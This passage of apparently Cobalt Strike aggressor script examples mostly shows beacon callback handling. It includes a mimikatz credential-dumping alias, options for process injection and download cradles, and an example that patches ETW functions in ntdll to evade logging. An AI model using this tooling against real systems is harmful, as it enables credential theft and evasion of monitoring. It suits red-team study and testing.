[options]\n\n" . 41 | 42 | "Arguments:\n" . 43 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 44 | 45 | "Options (specified in any order):\n" . 46 | " --pid - pid to inject into or use for fork&run\n" . 47 | " --arch - arch of the pid to inject into use for fork&run\n\n" . 48 | 49 | "Examples (fork and run):\n" . 50 | " cs_coffee\n\n" . 51 | 52 | "Examples (process injection):\n" . 53 | " cs_coffee --pid 1234 --arch x64\n\n", 54 | 55 | "cs_callback_examples" 56 | ); 57 | 58 | alias cs_coffee { 59 | # Declare local variables 60 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info $command'); 61 | 62 | # Assign parameters to the opts hash map 63 | $bid = @_[0]; 64 | $opt_cnt = size(@_); 65 | @valid_opts = @("--pid", "--arch"); 66 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 67 | # Set the arg and value for this iteration 68 | $opt = @_[$opt_ind]; 69 | $opt_ind++; 70 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 71 | 72 | # Do some simple validation on opt and value 73 | if ($opt !in @valid_opts) { 74 | berror($bid, "$opt is not a valid option."); 75 | return; 76 | } 77 | if ($value is $null || $value in @valid_opts) { 78 | berror($bid, "Missing or invalid value for the $opt option."); 79 | return; 80 | } 81 | 82 | # Save the opt and value into the opts hash 83 | %opts[$opt] = $value; 84 | } 85 | 86 | # Validate options 87 | if ( (%opts["--pid"] !is $null) || (%opts["--arch"] !is $null) ) { 88 | # At least one process injection options is used, validate them. 89 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 90 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 91 | return; 92 | } 93 | if (%opts["--arch"] !in @("x86", "x64")) { 94 | berror($bid, "arch is not valid, must be x86 or x64."); 95 | return; 96 | } 97 | } 98 | 99 | # Build up the mimikatz commands to export the certificates 100 | $command = "standard::coffee"; 101 | 102 | # Print some info to the script console 103 | $info = "beacon: $bid will execute \'$command\'"; 104 | if (%opts["--pid"] >= 0 && %opts["--arch"] in @("x86", "x64")) { 105 | $info .= " using process injection: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"; 106 | } else { 107 | $info .= " using fork&run"; 108 | } 109 | println("$info"); 110 | 111 | blog2($1, "I would like some good ole coffee from " . localip()); 112 | 113 | # Execute the command 114 | bmimikatz($bid, $command, %opts["--pid"], %opts["--arch"], &coffee_cb); 115 | } 116 | 117 | 118 | -------------------------------------------------------------------------------- /bof/beacon_inline_execute/bof_callback.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../beacon.h" 3 | 4 | 5 | void test_beacon_output() { 6 | formatp buffer; 7 | char *output; 8 | int multipleOutputs = 2; 9 | int outputLength = 0; 10 | 11 | /* Allocate space for formatted output buffer */ 12 | BeaconFormatAlloc(&buffer, 1024); 13 | 14 | BeaconFormatPrintf(&buffer, "TEST - 1 : Test BeaconOutput(CALLBACK_OUTPUT, ...)\n"); 15 | output = BeaconFormatToString(&buffer, &outputLength); 16 | BeaconOutput(CALLBACK_OUTPUT, output, outputLength); 17 | 18 | // Send multiple message via a loop 19 | while (multipleOutputs--) { 20 | BeaconFormatReset(&buffer); 21 | BeaconFormatPrintf(&buffer, "This is a countdown loop %d\n", multipleOutputs); 22 | output = BeaconFormatToString(&buffer, &outputLength); 23 | BeaconOutput(CALLBACK_OUTPUT, output, outputLength); 24 | } 25 | 26 | BeaconFormatReset(&buffer); 27 | BeaconFormatPrintf(&buffer, "Done with countdown loop\n"); 28 | output = BeaconFormatToString(&buffer, &outputLength); 29 | BeaconOutput(CALLBACK_OUTPUT, output, outputLength); 30 | 31 | /* Cleanup */ 32 | BeaconFormatFree(&buffer); 33 | } 34 | 35 | void test_beacon_printf() { 36 | int multipleOutputs = 2; 37 | int outputLength = 0; 38 | 39 | BeaconPrintf(CALLBACK_OUTPUT, "TEST - 2 : Test BeaconPrintf(CALLBACK_OUTPUT, ...)\n"); 40 | 41 | // Send multiple message via a loop 42 | while (multipleOutputs--) { 43 | BeaconPrintf(CALLBACK_OUTPUT, "This is a countdown loop %d\n", multipleOutputs); 44 | } 45 | 46 | BeaconPrintf(CALLBACK_OUTPUT, "Done with countdown loop\n"); 47 | } 48 | 49 | void test_beacon_output_encoding_utf8() { 50 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "TEST - 3 : Test BeaconOutput(CALLBACK_OUTPUT_UTF8, ...)\n"); 51 | 52 | /* Hello world string in Japanese */ 53 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "Next output represent 'Hello world' in Japanese\n"); 54 | BeaconOutput(CALLBACK_OUTPUT_UTF8, "こんにちは世界\n", 23); 55 | } 56 | 57 | void test_beacon_printf_encoding_utf8() { 58 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "TEST - 4 : Test BeaconPrintf(CALLBACK_OUTPUT_UTF8, ...)\n"); 59 | 60 | /* Hello world string in Japanese, CALLBACK_OUTPUT_UTF8 is the correct ouput type */ 61 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "Next output represent 'Hello world' in Japanese\n"); 62 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "こんにちは世界\n"); 63 | } 64 | 65 | void test_beacon_output_error() { 66 | formatp buffer; 67 | char *output; 68 | int outputLength = 0; 69 | int status = 5; 70 | 71 | /* Allocate space for formatted output buffer */ 72 | BeaconFormatAlloc(&buffer, 1024); 73 | 74 | BeaconFormatPrintf(&buffer, "TEST - 5 : Test BeaconOutput(CALLBACK_ERROR, ...)\n"); 75 | output = BeaconFormatToString(&buffer, &outputLength); 76 | BeaconOutput(CALLBACK_OUTPUT, output, outputLength); 77 | 78 | BeaconFormatReset(&buffer); 79 | BeaconFormatPrintf(&buffer, "This is a test error: %d\n", status); 80 | output = BeaconFormatToString(&buffer, &outputLength); 81 | BeaconOutput(CALLBACK_ERROR, output, outputLength); 82 | 83 | /* Cleanup */ 84 | BeaconFormatFree(&buffer); 85 | } 86 | 87 | void test_beacon_printf_error() { 88 | int status = 6; 89 | 90 | BeaconPrintf(CALLBACK_OUTPUT, "TEST - 6 : Test BeaconPrintf(CALLBACK_ERROR, ...)\n"); 91 | BeaconPrintf(CALLBACK_ERROR, "This is a test error: %d\n", status); 92 | } 93 | 94 | 95 | /* entry point */ 96 | void go(char * args, int alen) { 97 | datap parser; 98 | int test_number; 99 | 100 | /* parse the inputs (integer) */ 101 | BeaconDataParse(&parser, args, alen); 102 | test_number = BeaconDataInt(&parser); 103 | 104 | if (test_number == 1) { 105 | test_beacon_output(); 106 | } 107 | else if (test_number == 2) { 108 | test_beacon_printf(); 109 | } 110 | else if (test_number == 3) { 111 | test_beacon_output_encoding_utf8(); 112 | } 113 | else if (test_number == 4) { 114 | test_beacon_printf_encoding_utf8(); 115 | } 116 | else if (test_number == 5) { 117 | test_beacon_output_error(); 118 | } 119 | else if (test_number == 6) { 120 | test_beacon_printf_error(); 121 | } 122 | else { 123 | BeaconPrintf(CALLBACK_ERROR, "Unknown test_number %d\n", test_number); 124 | } 125 | 126 | 127 | 128 | } 129 | 130 | -------------------------------------------------------------------------------- /powershell/bpowerpick/cs_get_services_pick.cna: -------------------------------------------------------------------------------- 1 | 2 | # Filter the returned list of Windows services and only report 3 | # on the services that are 'Running'. 4 | # 5 | # Arguments 6 | # $1 - beacon id 7 | # $2 - result - output of the 'Get-Service' powershell cmdlet 8 | # $3 - info - Map containing information about the result 9 | # 10 | sub filter_running_services_pick { 11 | # Declare local variables 12 | local('$bid $result %info $output @lines $line $jid'); 13 | 14 | # Assign parameters user friendly names 15 | ($bid, $result, %info) = @_; 16 | $jid = %info['jid']; 17 | #println("**** arg1 (bid): $bid"); 18 | #print("**** arg2 (result): $result"); 19 | #println("**** arg3 (info): " . %info); 20 | 21 | # Process only output and error events 22 | if ("output" eq %info["type"]) { 23 | # Process the result 24 | $output = ""; 25 | @lines = split('\n', $result); 26 | foreach $line (@lines) { 27 | #println("check line: $line"); 28 | if (substr($line, 0, 8) eq "Running ") { 29 | $output .= "$line\n"; 30 | } 31 | } 32 | 33 | # Log the output back to beacon console 34 | bjoblog($bid, $jid, "received output:\n" . $output); 35 | } 36 | else if ("error" eq %info["type"]) { 37 | bjoberror($bid, $jid, $result); 38 | } 39 | } 40 | 41 | beacon_command_register( 42 | "cs_get_services_pick", 43 | "Run the powershell cmdlet Get-Service and filter on Running using bpowerpick", 44 | 45 | "Run the powershell cmdlet Get-Service and filter on Running using bpowerpick\n\n" . 46 | 47 | "Usage:\n" . 48 | " cs_get_services_pick [options]\n\n" . 49 | 50 | "Arguments:\n" . 51 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 52 | 53 | "Options (specified in any order):\n" . 54 | " --cradle - specify a download cradle\n" . 55 | " --patches - specify patch rules to apply\n\n" . 56 | 57 | "If the --cradle option is not used then the current imported powershell\n" . 58 | "script will be used. If the --cradle option is specified then the current\n" . 59 | "imported powershell script is ignored and this argument is treated as the\n" . 60 | "download cradle to prepend to the command. Most likely this will contain\n" . 61 | "spaces and you will need to double quote the value. For example:\n" . 62 | " cs_get_services_pick --cradle \"your download cradle with spaces\"\n" . 63 | "For no download cradle use --cradle \"\"\n\n" . 64 | 65 | "Examples:\n" . 66 | " cs_get_services_pick\n" . 67 | " cs_get_services_pick --cradle \"\"\n" . 68 | " cs_get_services_pick --patches \"PATCHES: ntdll.dll,EtwEventWrite,0,C21400 ntdll.dll,EtwLogTraceEvent,0,C21400\"\n\n", 69 | 70 | "cs_callback_examples" 71 | ); 72 | 73 | alias cs_get_services_pick { 74 | # Declare local variables 75 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 76 | 77 | # Assign parameters to the opts hash map 78 | $bid = @_[0]; 79 | $opt_cnt = size(@_); 80 | @valid_opts = @("--cradle", "--patches"); 81 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 82 | # Set the arg and value for this iteration 83 | $opt = @_[$opt_ind]; 84 | $opt_ind++; 85 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 86 | 87 | # Do some simple validation on opt and value 88 | if ($opt !in @valid_opts) { 89 | berror($bid, "$opt is not a valid option."); 90 | return; 91 | } 92 | if ($value is $null || $value in @valid_opts) { 93 | berror($bid, "Missing or invalid value for the $opt option."); 94 | return; 95 | } 96 | 97 | # Save the opt and value into the opts hash 98 | %opts[$opt] = $value; 99 | } 100 | 101 | # Print some info to the script console 102 | $info = "beacon: $bid will execute Get-Service" . 103 | " cradle: " . iff(%opts["--cradle"] is $null, "\$null", "\'" . %opts["--cradle"] . "\'") . 104 | " patches: " . iff(%opts["--patches"] is $null, "\$null", "\'" . %opts["--patches"] . "\'"); 105 | println("$info"); 106 | 107 | # Execute the command 108 | bpowerpick($bid, "Get-Service", %opts["--cradle"], %opts["--patches"], &filter_running_services_pick); 109 | #bpowerpick($bid, "Get-Service", %opts["--cradle"], %opts["--patches"], { filter_running_services_pick($1, $2, $3); }); 110 | } 111 | -------------------------------------------------------------------------------- /bnet/cs_get_domain.cna: -------------------------------------------------------------------------------- 1 | 2 | # get_domain_cb is used to process output from 'net domain' 3 | # command 4 | # 5 | # Arguments 6 | # $1 - beacon id 7 | # $2 - result - output of the 'net domain' command 8 | # $3 - info - Map containing information about the result 9 | # $4 - opts - Map containing information about the command that was ran 10 | # 11 | sub get_domain_cb { 12 | # Declare local variables 13 | local('$bid $result %info'); 14 | 15 | # Assign parameters user friendly names 16 | ($bid, $result, %info) = @_; 17 | #println("**** get_domain_cb"); 18 | #println("**** arg1 (bid): $bid"); 19 | #print("**** arg2 (result): $result"); 20 | #println("**** arg3 (info): " . %info); 21 | #println("**** arg4 (opts): " . %opts); 22 | 23 | # Skip registered and complete events 24 | if ("job_registered" eq %info["type"] || "job_completed" eq %info["type"]) { 25 | return; 26 | } 27 | 28 | # Log the output back to beacon console 29 | bjoblog($bid, %info['jid'], "received output:\n" . "get_domain_cb " . $result); 30 | 31 | #println("**** get_domain_cb done"); 32 | } 33 | 34 | 35 | beacon_command_register( 36 | "cs_get_domain", 37 | "Request the domain name information for specified target system (default: localhost)", 38 | 39 | "Request the domain name information for specified target system (default: localhost)\n\n" . 40 | 41 | "Usage:\n" . 42 | " cs_get_domain [options]\n\n" . 43 | 44 | "Arguments:\n" . 45 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 46 | 47 | "Optional arguments (specified in any order):\n" . 48 | " --target= - where to send the 'net domain' command to\n" . 49 | " --pid= - pid to inject into or use for fork&run\n" . 50 | " --arch= - arch of the pid to inject into use for fork&run\n\n" . 51 | 52 | "Examples (fork and run):\n" . 53 | " cs_get_domain\n" . 54 | " cs_get_domain --target=sysA\n\n" . 55 | 56 | "Examples (process injection):\n" . 57 | " cs_get_domain --pid=1234 --arch=x64\n" . 58 | " cs_get_domain --pid=1234 --arch=x64 --target=sysA\n", 59 | 60 | "cs_callback_examples" 61 | ); 62 | 63 | alias cs_get_domain { 64 | # Declare local variables 65 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 66 | 67 | # Set the defaults 68 | %opts["--target"] = "localhost"; 69 | 70 | # Assign parameters to the opts hash map 71 | $bid = @_[0]; 72 | $opt_cnt = size(@_); 73 | @valid_opts = @("--target", "--pid", "--arch"); 74 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 75 | # Set the arg and value for this iteration 76 | $opt = @_[$opt_ind]; 77 | $opt_ind++; 78 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 79 | 80 | # Do some simple validation on opt and value 81 | if ($opt !in @valid_opts) { 82 | berror($bid, "$opt is not a valid option."); 83 | return; 84 | } 85 | if ($value is $null || $value in @valid_opts) { 86 | berror($bid, "Missing or invalid value for the $opt option."); 87 | return; 88 | } 89 | 90 | # Save the opt and value into the opts hash 91 | %opts[$opt] = $value; 92 | } 93 | 94 | # Validate options 95 | if ( (%opts["--pid"] !is $null) || (%opts["--arch"] !is $null) ) { 96 | # At least one process injection options is used, validate them. 97 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 98 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 99 | return; 100 | } 101 | if (%opts["--arch"] !in @("x86", "x64")) { 102 | berror($bid, "arch is not valid, must be x86 or x64."); 103 | return; 104 | } 105 | } 106 | 107 | # Build the info message 108 | $info = "beacon: $bid will execute \'net domain\' on \'" . %opts["--target"] . "\'"; 109 | 110 | # Print some info to the script console 111 | if (%opts["--pid"] >= 0 && %opts["--arch"] in @("x86", "x64")) { 112 | println("$info using process injection: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"); 113 | } else { 114 | println("$info using fork&run"); 115 | } 116 | 117 | # Use the lambda function in order to pass local variables via Pass by Name to the callback 118 | bnet($bid, "domain", %opts["--target"], $null, %opts["--pid"], %opts["--arch"], 119 | lambda({ get_domain_cb($1, $2, $3 %opts); }, \%opts)); 120 | } 121 | 122 | -------------------------------------------------------------------------------- /dllspawn/example_dll/cs_example_dll.cna: -------------------------------------------------------------------------------- 1 | # Declare global variables 2 | global('$cs_example_dll_base_dir'); 3 | 4 | # Set the base folder for the "cs_example_dll" script 5 | $cs_example_dll_base_dir = script_resource(""); 6 | 7 | # Process the result from the example_dll.dll and format the output. 8 | # 9 | # Arguments 10 | # $1 - beacon id 11 | # $2 - result 12 | # $3 - info - Map containing information about the result 13 | # 14 | sub example_dll_cb { 15 | # Declare local variables 16 | local('$bid $result %info @lines $line $name $jid'); 17 | 18 | # Assign parameters user friendly names 19 | ($bid, $result, %info) = @_; 20 | $jid = %info['jid']; 21 | #println("**** example_dll_cb"); 22 | #println("**** arg1 (bid): $bid"); 23 | #println("**** arg2 (result): $result"); 24 | #println("**** arg3 (info): " . %info); 25 | 26 | # Process only output and error events 27 | if ("output" eq %info["type"]) { 28 | # Do what ever processing needed on $result 29 | @lines = split('\r\n', $2); 30 | foreach $line (@lines) { 31 | if ("d:" eq substr($line, 0, 2)) { 32 | $name = substr($line, 2); 33 | bjoblog($1, $jid, "received output:\n" . $name . ", It is nice to meet you\n"); 34 | } 35 | else if ("done" eq $line) { 36 | bjoblog($1, $jid, "received output:\ngoodbye everyone\n"); 37 | } 38 | else { 39 | # Log the output back to beacon console 40 | bjoblog($1, $jid, "received output:\n" . $line . "\n"); 41 | } 42 | } 43 | } 44 | else if ("error" eq %info["type"]) { 45 | bjoberror($bid, $jid, $result); 46 | } 47 | #println("**** example_dll_cb done"); 48 | } 49 | 50 | beacon_command_register( 51 | "cs_example_dll", 52 | "Run the example_dll", 53 | 54 | "Run the example_dll\n\n" . 55 | 56 | "Usage:\n" . 57 | " cs_example_dll [options]\n\n" . 58 | 59 | "Arguments:\n" . 60 | " \$1 - beacon id (CS automatically adds this argument)\n" . 61 | " --args -specify the arguments to the cs_example_dll process as a string\n\n" . 62 | 63 | "Options (specified in any order):\n" . 64 | " --format [yes|no] - do additional formatting of output. Default is yes\n\n" . 65 | 66 | "Examples:\n" . 67 | " cs_example_dll --args \"Han Luke Leia\"\n" . 68 | " cs_example_dll --args \"Han Luke Leia\" --format no\n\n", 69 | 70 | "cs_callback_examples" 71 | ); 72 | 73 | alias cs_example_dll { 74 | # Declare local variables 75 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 76 | 77 | # Set the defaults 78 | %opts["--format"] = "yes"; 79 | 80 | # Assign parameters to the opts hash map 81 | $bid = @_[0]; 82 | $opt_cnt = size(@_); 83 | @valid_opts = @("--args", "--format"); 84 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 85 | # Set the arg and value for this iteration 86 | $opt = @_[$opt_ind]; 87 | $opt_ind++; 88 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 89 | 90 | # Do some simple validation on opt and value 91 | if ($opt !in @valid_opts) { 92 | berror($bid, "$opt is not a valid option."); 93 | return; 94 | } 95 | if ($value is $null || $value in @valid_opts) { 96 | berror($bid, "Missing or invalid value for the $opt option."); 97 | return; 98 | } 99 | 100 | # Save the opt and value into the opts hash 101 | %opts[$opt] = $value; 102 | } 103 | 104 | # Validate options 105 | if (%opts["--args"] eq "") { 106 | berror($bid, "Required option --args was not specified"); 107 | return; 108 | } 109 | if (%opts["--format"] !in @("yes", "no")) { 110 | berror($bid, "format option is not valid: " . %opts["--format"]); 111 | return; 112 | } 113 | 114 | # Figure out which version of the dll to use 115 | %opts["--dll"] = script_resource("example_dll." . barch($bid) . ".dll", $cs_example_dll_base_dir); 116 | 117 | # Print some info to the script console 118 | $info = "beacon: $bid will execute the " . %opts["--dll"]; 119 | 120 | # Execute the command 121 | if (%opts["--format"] eq "yes") { 122 | println("$info with additional formatting"); 123 | bdllspawn($bid, %opts["--dll"], %opts["--args"], "example_dll", 5000, false, &example_dll_cb); 124 | #bdllspawn($bid, %opts["--dll"], %opts["--args"], "example_dll", 5000, false, { example_dll_cb($1, $2, $3); }); 125 | } else { 126 | println("$info with no additional formatting"); 127 | bdllspawn($bid, %opts["--dll"], %opts["--args"], "example_dll", 5000, false); 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /bof/binline_execute/bof_callback.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../beacon.h" 3 | 4 | WINBASEAPI int __cdecl MSVCRT$atoi(const char *_Str); 5 | WINBASEAPI int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); 6 | 7 | #define atoi MSVCRT$atoi 8 | #define strcmp MSVCRT$strcmp 9 | 10 | void test_beacon_output() { 11 | formatp buffer; 12 | char *output; 13 | int multipleOutputs = 2; 14 | int outputLength = 0; 15 | 16 | /* Allocate space for formatted output buffer */ 17 | BeaconFormatAlloc(&buffer, 1024); 18 | 19 | BeaconFormatPrintf(&buffer, "TEST - 1 : Test BeaconOutput(CALLBACK_OUTPUT, ...)\n"); 20 | output = BeaconFormatToString(&buffer, &outputLength); 21 | BeaconOutput(CALLBACK_OUTPUT, output, outputLength); 22 | 23 | // Send multiple message via a loop 24 | while (multipleOutputs--) { 25 | BeaconFormatReset(&buffer); 26 | BeaconFormatPrintf(&buffer, "This is a countdown loop %d\n", multipleOutputs); 27 | output = BeaconFormatToString(&buffer, &outputLength); 28 | BeaconOutput(CALLBACK_OUTPUT, output, outputLength); 29 | } 30 | 31 | BeaconFormatReset(&buffer); 32 | BeaconFormatPrintf(&buffer, "Done with countdown loop\n"); 33 | output = BeaconFormatToString(&buffer, &outputLength); 34 | BeaconOutput(CALLBACK_OUTPUT, output, outputLength); 35 | 36 | /* Cleanup */ 37 | BeaconFormatFree(&buffer); 38 | } 39 | 40 | void test_beacon_printf() { 41 | int multipleOutputs = 2; 42 | int outputLength = 0; 43 | 44 | BeaconPrintf(CALLBACK_OUTPUT, "TEST - 2 : Test BeaconPrintf(CALLBACK_OUTPUT, ...)\n"); 45 | 46 | // Send multiple message via a loop 47 | while (multipleOutputs--) { 48 | BeaconPrintf(CALLBACK_OUTPUT, "This is a countdown loop %d\n", multipleOutputs); 49 | } 50 | 51 | BeaconPrintf(CALLBACK_OUTPUT, "Done with countdown loop\n"); 52 | } 53 | 54 | void test_beacon_output_encoding_utf8() { 55 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "TEST - 3 : Test BeaconOutput(CALLBACK_OUTPUT_UTF8, ...)\n"); 56 | 57 | /* Hello world string in Japanese */ 58 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "Next output represent 'Hello world' in Japanese\n"); 59 | BeaconOutput(CALLBACK_OUTPUT_UTF8, "こんにちは世界\n", 23); 60 | } 61 | 62 | void test_beacon_printf_encoding_utf8() { 63 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "TEST - 4 : Test BeaconPrintf(CALLBACK_OUTPUT_UTF8, ...)\n"); 64 | 65 | /* Hello world string in Japanese, CALLBACK_OUTPUT_UTF8 is the correct ouput type */ 66 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "Next output represent 'Hello world' in Japanese\n"); 67 | BeaconPrintf(CALLBACK_OUTPUT_UTF8, "こんにちは世界\n"); 68 | } 69 | 70 | void test_beacon_output_error() { 71 | formatp buffer; 72 | char *output; 73 | int outputLength = 0; 74 | int status = 5; 75 | 76 | /* Allocate space for formatted output buffer */ 77 | BeaconFormatAlloc(&buffer, 1024); 78 | 79 | BeaconFormatPrintf(&buffer, "TEST - 5 : Test BeaconOutput(CALLBACK_ERROR, ...)\n"); 80 | output = BeaconFormatToString(&buffer, &outputLength); 81 | BeaconOutput(CALLBACK_OUTPUT, output, outputLength); 82 | 83 | BeaconFormatReset(&buffer); 84 | BeaconFormatPrintf(&buffer, "This is a test error: %d\n", status); 85 | output = BeaconFormatToString(&buffer, &outputLength); 86 | BeaconOutput(CALLBACK_ERROR, output, outputLength); 87 | 88 | /* Cleanup */ 89 | BeaconFormatFree(&buffer); 90 | } 91 | 92 | void test_beacon_printf_error() { 93 | int status = 6; 94 | 95 | BeaconPrintf(CALLBACK_OUTPUT, "TEST - 6 : Test BeaconPrintf(CALLBACK_ERROR, ...)\n"); 96 | BeaconPrintf(CALLBACK_ERROR, "This is a test error: %d\n", status); 97 | } 98 | 99 | 100 | /* entry point */ 101 | void go(char * args, int alen) { 102 | char * test_string = NULL; 103 | int test_number = 1; 104 | 105 | /* check for arguments for the binline_execute aggressor function */ 106 | if (alen > 0) { 107 | test_string = args; 108 | } 109 | 110 | /* for binline_execute if no arguments are passed the args is set the string 'null' */ 111 | if (test_string != NULL && 0 != strcmp((const char *)test_string, "null")) { 112 | test_number = atoi((const char *)test_string); 113 | } 114 | 115 | 116 | if (test_number == 1) { 117 | test_beacon_output(); 118 | } 119 | else if (test_number == 2) { 120 | test_beacon_printf(); 121 | } 122 | else if (test_number == 3) { 123 | test_beacon_output_encoding_utf8(); 124 | } 125 | else if (test_number == 4) { 126 | test_beacon_printf_encoding_utf8(); 127 | } 128 | else if (test_number == 5) { 129 | test_beacon_output_error(); 130 | } 131 | else if (test_number == 6) { 132 | test_beacon_printf_error(); 133 | } 134 | else { 135 | BeaconPrintf(CALLBACK_ERROR, "Unknown test_number %d\n", test_number); 136 | } 137 | 138 | } 139 | 140 | -------------------------------------------------------------------------------- /mimikatz/logon_passwords/cs_logon_passwd_elevate.cna: -------------------------------------------------------------------------------- 1 | 2 | # Save the output to the specified file 3 | # 4 | # Arguments 5 | # $1 - beacon id 6 | # $2 - result 7 | # $3 - info - Map containing information about the result 8 | # $4 - opts - Map containing information about the command that was ran 9 | # 10 | sub save_output { 11 | # Declare local variables 12 | local('$bid $result %info %opts $handle'); 13 | 14 | # Assign parameters user friendly names 15 | ($bid, $result, %info, %opts) = @_; 16 | #println("**** save_output for bmimikatz"); 17 | #println("**** arg1 (bid): $bid"); 18 | #println("**** arg2 (result):\n$result"); 19 | #println("**** arg3 (info): " . %info); 20 | #println("**** arg4 (opts): " . %opts); 21 | 22 | # Process only output and error events 23 | if ("output" eq %info["type"]) { 24 | # Save the result to the specified file 25 | $handle = openf(">" . %opts["--file"]); 26 | println($handle, $result); 27 | closef($handle); 28 | 29 | # Log that the output has been saved to the beacon console using the alt method 30 | blog2($bid, "Output from " . %opts["--command"] . " is saved at " . %opts["--file"] . "\n"); 31 | } 32 | else if ("error" eq %info["type"]) { 33 | bjoberror($bid, %info['jid'], $result); 34 | } 35 | 36 | #println("**** save_output done"); 37 | } 38 | 39 | 40 | beacon_command_register( 41 | "cs_logon_passwd_elevate", 42 | "Dump credentials and hashes with mimikatz: !sekurlsa::logonpasswords", 43 | 44 | "Dump credentials and hashes with mimikatz: !sekurlsa::logonpasswords\n\n" . 45 | 46 | "Usage:\n" . 47 | " cs_logon_passwd_elevate [options]\n\n" . 48 | 49 | "Arguments:\n" . 50 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 51 | 52 | "Options (specified in any order):\n" . 53 | " --file - save output to the file\n" . 54 | " --pid - pid to inject into or use for fork&run\n" . 55 | " --arch - arch of the pid to inject into use for fork&run\n\n" . 56 | 57 | "Examples (fork and run):\n" . 58 | " cs_logon_passwd_elevate\n" . 59 | " cs_logon_passwd_elevate --file /tmp/mkatz.password\n\n" . 60 | 61 | "Examples (process injection):\n" . 62 | " cs_logon_passwd_elevate --pid 1234 --arch x64\n". 63 | " cs_logon_passwd_elevate --pid 1234 --arch x64 --file /tmp/mkatz.password\n\n", 64 | 65 | "cs_callback_examples" 66 | ); 67 | 68 | alias cs_logon_passwd_elevate { 69 | # Declare local variables 70 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 71 | 72 | # Assign parameters to the opts hash map 73 | $bid = @_[0]; 74 | $opt_cnt = size(@_); 75 | @valid_opts = @("--file", "--pid", "--arch"); 76 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 77 | # Set the arg and value for this iteration 78 | $opt = @_[$opt_ind]; 79 | $opt_ind++; 80 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 81 | 82 | # Do some simple validation on opt and value 83 | if ($opt !in @valid_opts) { 84 | berror($bid, "$opt is not a valid option."); 85 | return; 86 | } 87 | if ($value is $null || $value in @valid_opts) { 88 | berror($bid, "Missing or invalid value for the $opt option."); 89 | return; 90 | } 91 | 92 | # Save the opt and value into the opts hash 93 | %opts[$opt] = $value; 94 | } 95 | 96 | # Validate options 97 | if ( (%opts["--pid"] !is $null) || (%opts["--arch"] !is $null) ) { 98 | # At least one process injection options is used, validate them. 99 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 100 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 101 | return; 102 | } 103 | if (%opts["--arch"] !in @("x86", "x64")) { 104 | berror($bid, "arch is not valid, must be x86 or x64."); 105 | return; 106 | } 107 | } 108 | 109 | # Set the command to use in the opts hash map 110 | %opts["--command"] = "!sekurlsa::logonpasswords"; 111 | 112 | # Build the info message to use later to info to the script console 113 | $info = "beacon: $bid will execute \'" . %opts["--command"] . "\'"; 114 | if (%opts["--pid"] >= 0 && %opts["--arch"] in @("x86", "x64")) { 115 | $info .= " using process injection: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"; 116 | } else { 117 | $info .= " using fork&run"; 118 | } 119 | 120 | # Execute the command 121 | if (%opts["--file"] eq $null) { 122 | println("$info"); 123 | bmimikatz_small($bid, %opts["--command"], %opts["--pid"], %opts["--arch"]); 124 | } else { 125 | println("$info and save the output to " . %opts["--file"]); 126 | # Use the lambda function in order to pass local variables via Pass by Name to the callback 127 | bmimikatz_small($bid, %opts["--command"], %opts["--pid"], %opts["--arch"], 128 | lambda({ save_output($1, $2, $3, %opts); }, \%opts)); 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /execute_assembly/example_ea/cs_example_ea.cna: -------------------------------------------------------------------------------- 1 | # Declare global variables 2 | global('$cs_example_ea_base_dir'); 3 | 4 | # Set the base folder for the "cs_example_ea" script 5 | $cs_example_ea_base_dir = script_resource(""); 6 | 7 | # Process the result from the example_ea.exe and format the output. 8 | # 9 | # Arguments 10 | # $1 - beacon id 11 | # $2 - result 12 | # $3 - info - Map containing information about the result 13 | # 14 | sub example_ea_cb { 15 | # Declare local variables 16 | local('$bid $result %info @lines $line $name $jid'); 17 | 18 | # Assign parameters user friendly names 19 | ($bid, $result, %info) = @_; 20 | $jid = %info['jid']; 21 | #println("**** example_ea_cb"); 22 | #println("**** arg1 (bid): $bid"); 23 | #print("**** arg2 (result): $result"); 24 | #println("**** arg3 (info): " . %info); 25 | 26 | # Process only output and error events 27 | if ("output" eq %info["type"]) { 28 | # Do what ever processing needed on $result 29 | @lines = split('\r\n', $2); 30 | foreach $line 